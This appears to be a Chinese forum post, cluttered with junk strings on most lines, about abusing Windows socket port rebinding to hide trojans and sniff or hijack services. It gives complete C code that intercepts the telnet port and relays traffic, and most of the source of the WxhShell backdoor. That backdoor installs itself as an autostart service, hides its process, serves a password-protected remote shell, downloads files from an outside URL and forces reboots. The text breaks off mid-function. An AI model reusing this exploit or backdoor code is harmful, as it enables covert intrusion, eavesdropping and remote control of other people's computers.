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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0CrsZtX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Eyx Ob  
hArY$T&MB  
  saddr.sin_family = AF_INET; TC\+>LXiZ  
9t"Rw ns  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |W">&Rb<t#  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SA x9cjj+  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NK_|h %  
{m.$EoS  
  这意味着什么?意味着可以进行如下的攻击: <>cS@V5j  
}rTH<! j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 du3f'=q6|  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %BqaVOKJ"f  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0s#72}n  
,5}U H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B`5<sW  
g`7XE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "F<CGSo  
BX,)G HE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Aw o)a8e  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1o_kY"D<  
BM%wZ: s  
  #include 1uw#;3<L  
  #include E9HMhUe  
  #include > VG  
  #include    H",B[ YK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _'u]{X\k{J  
  int main() EdJL&*  
  { )D)5 `n)  
  WORD wVersionRequested; ^QB[;g.O  
  DWORD ret; D6sw"V#  
  WSADATA wsaData; k*.]*]   
  BOOL val; hRcb}>pr  
  SOCKADDR_IN saddr; c?p^!zG  
  SOCKADDR_IN scaddr; g,Z A\R~  
  int err; yBIlwN`kB  
  SOCKET s; Y?T{>"_W  
  SOCKET sc; xvr5$x|h  
  int caddsize; 2ej7Ql_@c  
  HANDLE mt; <qCa 9@Ea  
  DWORD tid;   <AHpk5Sn{  
  wVersionRequested = MAKEWORD( 2, 2 ); uy'ghF  
  err = WSAStartup( wVersionRequested, &wsaData ); W? iA P  
  if ( err != 0 ) { Qw5nfg3T  
  printf("error!WSAStartup failed!\n"); Wgq|Q*  
  return -1; OG,P"sv  
  } sGvbL-S-f:  
  saddr.sin_family = AF_INET; `&$8/_`  
   ${+u-Wfau  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c8qr-x1HG  
!liV Y]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 30Q p^)K  
  saddr.sin_port = htons(23); :QCL9QZ'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TOYK'|lwM  
  { z3fv}_\z  
  printf("error!socket failed!\n"); bf3!|Um  
  return -1; L"L3n,%F  
  } &J[a.:..  
  val = TRUE; 8s%/5v"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^S9y7b^;r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R`?l .0  
  { 4JSPD#%f  
  printf("error!setsockopt failed!\n"); mYBEjZ B  
  return -1; /'O8RUjN  
  } ^ k^y|\UtZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T) C@6/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BxY t*b%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h$>F}n j  
! ,J# r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 73WSW/^F  
  { o9?@jjqH  
  ret=GetLastError(); +>w]T\[1~  
  printf("error!bind failed!\n"); ]6&NIz`:,  
  return -1; \>L,X_DL  
  } 5/48w-fnZ  
  listen(s,2); /YKd [RQ  
  while(1) d1/emwH  
  { D)_ C@*q  
  caddsize = sizeof(scaddr); Rd?}<L  
  //接受连接请求 #c!:&9oU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nz{dnV{&x;  
  if(sc!=INVALID_SOCKET) rCyb3,W  
  { OI R5QH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]n ?x tI  
  if(mt==NULL) FoefBo?g65  
  { OfsP5*d  
  printf("Thread Creat Failed!\n"); 3JoY-  
  break; z(PUoV:?  
  } ZTC>Ufu2!  
  } .{Y;6]9[  
  CloseHandle(mt); ]wQ!ZG?)  
  } v1h(_NLI!  
  closesocket(s); 8 WP>u8&  
  WSACleanup(); e_BG%+;G,  
  return 0; Urj*V0^  
  }   C3AWXO ^  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2`yhxO  
  { x "W~m.y$h  
  SOCKET ss = (SOCKET)lpParam;  K +7  
  SOCKET sc; H/8^Fvd  
  unsigned char buf[4096]; ]5W$EvZ9)  
  SOCKADDR_IN saddr; lwnO  
  long num; ;#B(L=/  
  DWORD val; I8*VM3  
  DWORD ret; ;'!x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ! \] ^c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #GsOE#*>T  
  saddr.sin_family = AF_INET; SpH|<L3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e r" w{  
  saddr.sin_port = htons(23); +qxPUfN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T.q2tC[bR  
  { MsB >3  
  printf("error!socket failed!\n"); Nk~}aj  
  return -1; ` ]|X_!J-  
  } UuG%5 ZC  
  val = 100; F[qXIL)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t2&kGf"  
  { -K"'F`;W  
  ret = GetLastError(); }v1wpv/b(  
  return -1;  >DL  
  } 2:+8]b3i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2 a<\4w'  
  { 3WV(Ok  
  ret = GetLastError(); ycGY5t@K@  
  return -1; |9@,ri\'Rg  
  } 0SpB 2>_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :\T Mm>%q  
  { >T$0*7wF  
  printf("error!socket connect failed!\n"); W? 7l-k=S  
  closesocket(sc); G1:}{a5i_  
  closesocket(ss); EIi<g2pM(  
  return -1; %lKw+D  
  } ~cz}C("Z  
  while(1) !}*N';  
  { ,(jJOFf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {1GJ,['qL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;qx#]Z0 <  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8&QST!JGSX  
  num = recv(ss,buf,4096,0); C|{Sj`,XG  
  if(num>0) R!VfTAv  
  send(sc,buf,num,0); :cpj{v;s  
  else if(num==0) $+eeE  
  break; N#w5}It  
  num = recv(sc,buf,4096,0); pDQ f(@M[  
  if(num>0) _S!^=9bJ  
  send(ss,buf,num,0); !0 7jr%-~  
  else if(num==0) d[9,J?'OQ  
  break; s"L&y <?)  
  } .X g.,kW  
  closesocket(ss); >OG189O  
  closesocket(sc); z%&FLdXgW+  
  return 0 ; o$_0Qs$  
  } /SvhOi  
g`EZLDjt  
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========================================================== w+$$uz  
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下边附上一个代码,,WXhSHELL 2w>%-_]u+  
3 ML][|TR  
========================================================== OjU{r N*  
fif;n[<  
#include "stdafx.h" DR"Y(-xl  
x0 7 =  
#include <stdio.h> }2 S.  
#include <string.h> HG]ARgOB  
#include <windows.h> FlO?E3d  
#include <winsock2.h> O[X*F2LC4  
#include <winsvc.h> /E>;O47a  
#include <urlmon.h> f5}afPk  
Gz`Jzh j  
#pragma comment (lib, "Ws2_32.lib") X)g X9DA  
#pragma comment (lib, "urlmon.lib") cIug~ x>  
--HDEc|  
#define MAX_USER   100 // 最大客户端连接数 KdNo'*;U]_  
#define BUF_SOCK   200 // sock buffer =D zrM%  
#define KEY_BUFF   255 // 输入 buffer WC_.j^sW  
G/ x6zdk  
#define REBOOT     0   // 重启 2"0VXtv6  
#define SHUTDOWN   1   // 关机 gI:g/ R  
o:8ns m  
#define DEF_PORT   5000 // 监听端口 L3]J8oEmU  
^&3vGu9  
#define REG_LEN     16   // 注册表键长度 tqZ91QpW  
#define SVC_LEN     80   // NT服务名长度 "|\hTRQ  
.0Ud?v>=  
// 从dll定义API 6:_~-xG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3mgvWR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k-$Acv(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _z_YJ7A>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `&;#A*C0  
q NGR6i  
// wxhshell配置信息 F6{g{ B  
struct WSCFG { 6v@Prw@.b  
  int ws_port;         // 监听端口 R P{pEd  
  char ws_passstr[REG_LEN]; // 口令 Owp]>e  
  int ws_autoins;       // 安装标记, 1=yes 0=no f,YORJ  
  char ws_regname[REG_LEN]; // 注册表键名 v]JET9hY  
  char ws_svcname[REG_LEN]; // 服务名 "jZZ>\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kV-<[5AWW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z<U,]iZB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8~y!X0Ov!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6Ga'_P:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lw=kTYbq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LcKc#)'EE  
g}9 ,U&$]y  
}; lyL6w1  
+m_ .?V6  
// default Wxhshell configuration V .Kjcy  
struct WSCFG wscfg={DEF_PORT, a$W O} g?  
    "xuhuanlingzhe", AFt- V  
    1, V``|<`!gd  
    "Wxhshell", R6~6b&-8  
    "Wxhshell", tbQY&TO1  
            "WxhShell Service", 5{ap  
    "Wrsky Windows CmdShell Service", S iNgV\('U  
    "Please Input Your Password: ", &zn|),  
  1, h]zok}$  
  "http://www.wrsky.com/wxhshell.exe", kn#?+Q  
  "Wxhshell.exe" EXdX%T\  
    }; ^%oH LsY9  
h(WlJCln  
// 消息定义模块 /OKp(u;)z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a- *sm~u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; su0K#*P&I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \:'GAByy  
char *msg_ws_ext="\n\rExit."; ;v8TT}R  
char *msg_ws_end="\n\rQuit."; Y] 1U1 08  
char *msg_ws_boot="\n\rReboot..."; CW`^fI9H  
char *msg_ws_poff="\n\rShutdown..."; Zl_sbIY  
char *msg_ws_down="\n\rSave to "; mbAzn  
n3e,vP? R  
char *msg_ws_err="\n\rErr!"; /G5KNSi  
char *msg_ws_ok="\n\rOK!"; 8] LF{Obz[  
_d!sSyk`  
char ExeFile[MAX_PATH]; 5?3v;B6  
int nUser = 0; E2Sj IR}  
HANDLE handles[MAX_USER]; [w](x  
int OsIsNt; 2<7pe@c98  
W{Qb*{9  
SERVICE_STATUS       serviceStatus; {UH45#Ua  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; THl:>s  
fD%/]`y  
// 函数声明 'q}Ud10c  
int Install(void); h`Jc%6o  
int Uninstall(void); <mX5VGY9^  
int DownloadFile(char *sURL, SOCKET wsh); J rK{MhO  
int Boot(int flag); dC<%D'L*  
void HideProc(void); h5{//0 y  
int GetOsVer(void); s?<FS@k  
int Wxhshell(SOCKET wsl); 58?WO}  
void TalkWithClient(void *cs); 28JVW3&)  
int CmdShell(SOCKET sock); s=$xnc}mf  
int StartFromService(void); $%U}k=-  
int StartWxhshell(LPSTR lpCmdLine); $d1ow#ROgy  
xpZ@DK;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l>jrY1u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %n]jsdE^|  
J^t0M\  
// 数据结构和表定义 `+=Zq :0  
SERVICE_TABLE_ENTRY DispatchTable[] = C,,T7(: k  
{ ^uX"04>;  
{wscfg.ws_svcname, NTServiceMain}, +4J'> dr  
{NULL, NULL} H28-;>'`  
}; M"mvPr9  
 WLWfe-  
// 自我安装 lf\"6VIsR  
int Install(void) /XG7M=A$o  
{ i~GW  
  char svExeFile[MAX_PATH]; &tkPZ*}#1  
  HKEY key; s"7FmJ\7rw  
  strcpy(svExeFile,ExeFile); tL&_@PD)3  
U>Is mF>m  
// 如果是win9x系统,修改注册表设为自启动 lBn<\Y!^  
if(!OsIsNt) { Eoz/]b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ym p*:lH(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bl)D/  
  RegCloseKey(key); '>OEQU5-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )1 @v<I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !}A`6z  
  RegCloseKey(key); 4P C'7V=S  
  return 0; y 2k's  
    } DvN_}h^nX  
  } &2@"zD  
} zt((TD2  
else { "= s dn  
d+Mogku2  
// 如果是NT以上系统,安装为系统服务 *{JD= ua  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =5:vKL j  
if (schSCManager!=0) d*!H&1L  
{ I9TNUZq('  
  SC_HANDLE schService = CreateService =PU@'OG  
  ( wV-N\5!r%H  
  schSCManager, ?,v@H$)3_  
  wscfg.ws_svcname, wPyc?:|KD?  
  wscfg.ws_svcdisp, b%VBSNZ  
  SERVICE_ALL_ACCESS, .&=\ *cZc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c5CxR#O  
  SERVICE_AUTO_START, v&sp;%I6=  
  SERVICE_ERROR_NORMAL, u 'ng'j'  
  svExeFile, qvsfU*wo?  
  NULL, ?h7[^sxJ  
  NULL, YU87l  
  NULL, 84(jg P  
  NULL, Q1h v2*/U  
  NULL N9c#N%cu  
  ); T~>&m~} +  
  if (schService!=0) U:/_T>f%  
  { v@X[0J_8  
  CloseServiceHandle(schService); Mc  
  CloseServiceHandle(schSCManager); JjAO9j%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }WQ:Rmi  
  strcat(svExeFile,wscfg.ws_svcname); $~EY:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Gno K?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3,+Us B%  
  RegCloseKey(key); RXPl~]k#i  
  return 0; ;?o"{mbb  
    } e?aSM  
  } sx9[#6~{Y  
  CloseServiceHandle(schSCManager); (ds*$]  
} fQU_A  
} a.<!>o<t:  
@S012} xH  
return 1; [o'}R`5)  
} +w?1<Z  
v|kL7t)}  
// 自我卸载 QD[l 6  
int Uninstall(void) IetV]Ff6  
{ _i"[m(ABj1  
  HKEY key; KbRKPA`  
v^IMN3^W  
if(!OsIsNt) { (+\K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4_eFc$^  
  RegDeleteValue(key,wscfg.ws_regname); Io;26F""  
  RegCloseKey(key); 9/\=6v C|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iL IKrU+`  
  RegDeleteValue(key,wscfg.ws_regname); (i'wa6[E8  
  RegCloseKey(key); J0Y-e39 `  
  return 0; d #-<=6  
  } %ye4FwkRy  
} 2LN5}[12]  
} :n?}G0y  
else { !P)7t`X  
k|^nrjStC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y /?;s]>b  
if (schSCManager!=0) xeHqC9Ou  
{ PI" )^`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4gm(gY>[  
  if (schService!=0) #KSB%  
  { Boa?Ghg  
  if(DeleteService(schService)!=0) { pQxi0/dp  
  CloseServiceHandle(schService); X/wqfP  
  CloseServiceHandle(schSCManager); }Sb&ux  
  return 0; |}roR{gc|  
  } jdDcmR  
  CloseServiceHandle(schService); Xp3cYS*u  
  } dv \ oVD  
  CloseServiceHandle(schSCManager); `!T6#6h  
} 785Y*.p  
} Y6 @A@VJ  
~Urj:l  
return 1; Ib4 8`  
} $VJ=A<  
>^Z!  
// 从指定url下载文件 ph1veD<ZZ  
int DownloadFile(char *sURL, SOCKET wsh) ? Kn~fs8  
{ My'6 yQL  
  HRESULT hr; 4a~9?}V:  
char seps[]= "/"; 4B8{\ "6  
char *token; pRdO4?l  
char *file; &"svt2  
char myURL[MAX_PATH]; h:+>=~\  
char myFILE[MAX_PATH]; ZjJEjw  
T+/Gz'  
strcpy(myURL,sURL); /SD2e@x{U  
  token=strtok(myURL,seps); 86@@j*c(@k  
  while(token!=NULL) 93y.u<,2;  
  { ~F]- +|  
    file=token; G#0 4h{  
  token=strtok(NULL,seps); M:(k7a+[^  
  } UIv 2wA2  
#/1,Cv yj  
GetCurrentDirectory(MAX_PATH,myFILE); %lPF q-  
strcat(myFILE, "\\"); MhB kr{8  
strcat(myFILE, file); p.1|bXY`  
  send(wsh,myFILE,strlen(myFILE),0); M+^+u 1QQ0  
send(wsh,"...",3,0); \G*vY#]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (sn|`k3I  
  if(hr==S_OK) VL<)d-  
return 0; P z+8u&~p  
else sOW-GWSE<  
return 1; #H1yjJQ /x  
cj<j *(ZZ  
} vexQP}N0  
D`.CXFI+U  
// 系统电源模块 Efw/bTEg  
int Boot(int flag) |xaA3UA  
{ ZD0Q<8%  
  HANDLE hToken; fD|ox  
  TOKEN_PRIVILEGES tkp; r jL%M';  
M|`%4vk>  
  if(OsIsNt) { BiHBu8<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _"F(w"|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rC<m6  
    tkp.PrivilegeCount = 1; PHD$E s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4oOe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 58MBG&a%  
if(flag==REBOOT) { ]0dp^%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }EO n=*  
  return 0; te'<xfG  
} d8 ve$X  
else { @v2kAOw[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gy<pN?Mw  
  return 0; O`mW,  
} KFCzf_P!  
  } diqG8KaK  
  else { Qo{^jDe,c*  
if(flag==REBOOT) { W?/7PVGv5h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K)0 6][ ,  
  return 0; jvm "7)h  
} ipKkz  
else { Jo h&Ay  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K#";!  
  return 0; ,)Z^b$H]  
} Mi 'eViH  
} .'7o,)pJ<  
dmrM %a}W-  
return 1; #ZGWU_l}  
} TiF$',WMv  
}kXF*cVg  
// win9x进程隐藏模块 wEzLfZ Oz/  
void HideProc(void) IEeh)aj[  
{ Q:kpaMA1P  
%r~TMU2"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /5r[M=_ihr  
  if ( hKernel != NULL ) .f&,~$e4  
  { I[<C)IG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8X*6i-j5E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WFN5&7$W  
    FreeLibrary(hKernel); FQ(=Fnqn  
  } ]b<k%  
7,jh44(\=  
return; UmQ 9_H7  
} KY"W{D9ib  
-_pI:K[  
// 获取操作系统版本 m2<sVTN`^  
int GetOsVer(void) )X| uOg&|  
{ {u46m  
  OSVERSIONINFO winfo; 2J|Yc^b6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uu=e~K  
  GetVersionEx(&winfo); |n67!1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AytHnp\H  
  return 1; 6eK18*j%H  
  else U#,2et6  
  return 0; ;U}lh~e11  
} t]" 3vE>  
t91v%L   
// 客户端句柄模块 Z10#6v  
int Wxhshell(SOCKET wsl) pU`Q[HOs  
{ vD}y%}  
  SOCKET wsh; aCFO ]  
  struct sockaddr_in client; cy/;qd+!M  
  DWORD myID; &Cdk%@Tj]B  
~c3!,C  
  while(nUser<MAX_USER) P7"g/j""  
{ b^5rV5d  
  int nSize=sizeof(client); MWsBZJRr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7ktf =Y  
  if(wsh==INVALID_SOCKET) return 1; +~02j1Jx  
01#a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); = ?T'@C  
if(handles[nUser]==0)  @;d(>_n  
  closesocket(wsh); aLuxCobV  
else aeE9dV~  
  nUser++; T3)/?f?|  
  } +&-/$\"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nvsuF)%9hZ  
R^fVw Dl\  
  return 0; +lU:I  
} :)?w 2'O  
n>Q/XQXB  
// 关闭 socket eA#J7=eC  
void CloseIt(SOCKET wsh) AVi w}Y J  
{ EQz`o+  
closesocket(wsh); &kRkOjuk  
nUser--; +`_%U7p(  
ExitThread(0); pz@_%IUS  
}  g5X+iV  
O\B_=KWDO  
// 客户端请求句柄 ;wgm 'jr  
void TalkWithClient(void *cs) "DfvoQP  
{ `gD'q5.z;3  
_~=X/I R  
  SOCKET wsh=(SOCKET)cs; , S}[48$  
  char pwd[SVC_LEN]; x(5>f9bb  
  char cmd[KEY_BUFF]; UFm E`|le  
char chr[1]; ~%k<N/B  
int i,j; TQ.d|{B[  
?fc({zb  
  while (nUser < MAX_USER) { a` 95eL}  
R.*KaCA  
if(wscfg.ws_passstr) { W<u63P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ ;~G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P0 DvZV8  
  //ZeroMemory(pwd,KEY_BUFF); I%b, H`  
      i=0; *ukugg.  
  while(i<SVC_LEN) { BRFA%FZ,  
J/M1#sE  
  // 设置超时 kiZA$:V8  
  fd_set FdRead; AAxY{Z-4  
  struct timeval TimeOut; t!AHTtI  
  FD_ZERO(&FdRead); P[?~KNS:/  
  FD_SET(wsh,&FdRead); W(1p0|WQ:  
  TimeOut.tv_sec=8; Fla,#uB  
  TimeOut.tv_usec=0; %#yCp2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O:q 0-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = %\;7  
2r,K/'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'h.{fKG]ME  
  pwd=chr[0]; (p-a;.Twj  
  if(chr[0]==0xd || chr[0]==0xa) { N3TkRJZ  
  pwd=0; c*9RzD#Zj  
  break; x'+lNlv  
  } k2" Z:\?z  
  i++; C5\bnk{  
    } <hkg~4EKc  
+kd88Fx  
  // 如果是非法用户,关闭 socket e$45OL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ma: xxsH.  
} j^"Z^TEBT  
mBhG"0:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ="P 3TP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e 9U\48  
x4pl#~Su  
while(1) { LwZBM#_g  
w t? 8-_  
  ZeroMemory(cmd,KEY_BUFF); gk"S`1>  
3YR6@*!f/  
      // 自动支持客户端 telnet标准   Y<#WC#3=  
  j=0; w6'o<=  
  while(j<KEY_BUFF) { nMNAn}~*M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sF C&DTb?  
  cmd[j]=chr[0]; 6,7Fl=<  
  if(chr[0]==0xa || chr[0]==0xd) { d>M&jSCL  
  cmd[j]=0; ;m,lS_[c  
  break; MP-A^QT  
  } Yi1_oe  
  j++; Ge8&_7  
    } /Tv=BXL-  
uB>NwCL;  
  // 下载文件 P)XkqOGpT9  
  if(strstr(cmd,"http://")) { C=t:0.:PJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -P]J:7*0?\  
  if(DownloadFile(cmd,wsh)) jW}n6w5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9qc1^Fs~  
  else @`t)ly#N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gz;().{  
  } o) `zb?  
  else { p^Kp= z  
5][Rvu0  
    switch(cmd[0]) { xC9^x7%3O  
  72GXgah  
  // 帮助 DQDt*Uj,  
  case '?': { 1uG?R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wciYv,  
    break; U59uP 7n  
  } kZs  
  // 安装 ?>N82#9Q  
  case 'i': { ?"$W=*P\o  
    if(Install()) 4d)w2t?H%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;``*]tY$  
    else y/K%F,WMf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @] 1E~  
    break; VjS %!P  
    } C0[Rf.*  
  // 卸载 HU-4k/I~  
  case 'r': { ;_R;P;<  
    if(Uninstall()) jJg9M'@2!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sZ{Kl\1@  
    else )NGBA."t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /ZlW9|  
    break; 8)&H=#E  
    } IJ3[6>/ M0  
  // 显示 wxhshell 所在路径 w6y?D<  
  case 'p': { {c<MB xk  
    char svExeFile[MAX_PATH]; %f\ M61Z  
    strcpy(svExeFile,"\n\r"); E1_FK1*V;  
      strcat(svExeFile,ExeFile); !T@>Ld:  
        send(wsh,svExeFile,strlen(svExeFile),0); b#FN3AsR  
    break; v1?P$f*g  
    } m=k(6  
  // 重启 !s/ij' T  
  case 'b': { .r)WDR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U5jY/e_  
    if(Boot(REBOOT)) 6*Qn9Q%p-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1b+ B  
    else { HNxJ`x~Z~  
    closesocket(wsh); "ZE JL.Wy  
    ExitThread(0); y4$UPLm  
    } _tS<\zy@y  
    break; KOv ar0  
    } , d ?4"8_  
  // 关机 0PE $n  
  case 'd': { KS}Ci-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .Ej `!  
    if(Boot(SHUTDOWN)) }r3, fH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?d%+85  
    else { KYD,eVQ  
